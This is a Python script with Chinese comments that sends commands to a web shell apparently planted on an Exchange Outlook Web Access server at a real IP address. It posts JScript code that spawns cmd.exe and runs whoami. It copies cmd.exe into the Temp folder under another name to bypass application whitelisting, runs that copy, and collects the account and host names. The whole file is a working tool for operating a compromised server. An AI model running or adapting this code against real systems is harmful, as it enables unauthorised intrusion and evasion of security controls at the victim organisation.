#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"

def ev(code):
    try:
        r = requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=40)
        t = r.text
        t = t.split('!BD')[0]
        return t[:600]
    except Exception as e:
        return f"EXC:{type(e).__name__}:{str(e)[:100]}"

# 1) 详细异常：进程创建
c1 = ('try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="C:\\\\Windows\\\\System32\\\\cmd.exe";'
      'p.StartInfo.Arguments="/c whoami";p.StartInfo.UseShellExecute=false;'
      'p.StartInfo.RedirectStandardOutput=true;p.Start();var o=p.StandardOutput.ReadToEnd();p.WaitForExit();'
      'Response.Write("OK:"+o);}catch(e){Response.Write("EX1:"+e.GetType().FullName+"|"+e.Message);}')
print("[1 process]", repr(ev(c1)), flush=True)

# 2) 复制 cmd.exe 到 temp（SRP 名称/路径白名单绕过）
c2 = ('try{System.IO.File.Copy("C:\\\\Windows\\\\System32\\\\cmd.exe","C:\\\\Windows\\\\Temp\\\\az.exe",true);'
      'Response.Write("COPY_OK");}catch(e){Response.Write("EX2:"+e.GetType().FullName+"|"+e.Message);}')
print("[2 copy]   ", repr(ev(c2)), flush=True)

# 3) 执行复制后的副本
c3 = ('try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="C:\\\\Windows\\\\Temp\\\\az.exe";'
      'p.StartInfo.Arguments="/c whoami & hostname";p.StartInfo.UseShellExecute=false;'
      'p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;p.Start();'
      'var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();p.WaitForExit();Response.Write("OK2:"+o);}'
      'catch(e){Response.Write("EX3:"+e.GetType().FullName+"|"+e.Message);}')
print("[3 exec]   ", repr(ev(c3)), flush=True)

# 4) 直接读文件（确认 in-process IO 正常）与账号信息
c4 = ('Response.Write("IO:"+System.IO.File.Exists("C:\\\\Windows\\\\System32\\\\cmd.exe")+"|"'
      '+System.Environment.UserName+"|"+System.Environment.MachineName);')
print("[4 io]     ", repr(ev(c4)), flush=True)